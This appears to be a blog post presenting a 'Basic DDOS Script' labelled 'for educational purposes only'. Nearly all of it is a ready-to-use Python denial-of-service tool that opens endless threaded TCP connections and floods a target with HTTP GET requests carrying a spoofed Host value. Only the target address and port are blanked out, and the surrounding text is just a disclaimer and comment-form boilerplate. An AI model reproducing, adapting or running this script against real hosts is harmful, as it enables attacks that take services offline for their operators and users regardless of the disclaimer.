,

Basic DDOS Script

For educational purposes only

Simple DDOS script using python sockets and threading.

** Fake ip variable can still be traced , use only with permission. **

Use wireshark to monitor traffic

#!/usr/bin/env python
import socket
import threading

target = '######'
fake_ip = '######'
port = ###

attack_num = 0

def attack():
    while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target, port))
        s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
        s.sendto(("Host: " + fake_ip + " \r\n\r\n").encode('ascii'), (target, port))

        global attack_num  # Use this to see attacks  
        attack_num += 1
        print(attack_num)

        s.close()

for i in range(50): #change if needed 
    thread = threading.Thread(target=attack)
    thread.start()

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Comments (

0

)

%d bloggers like this: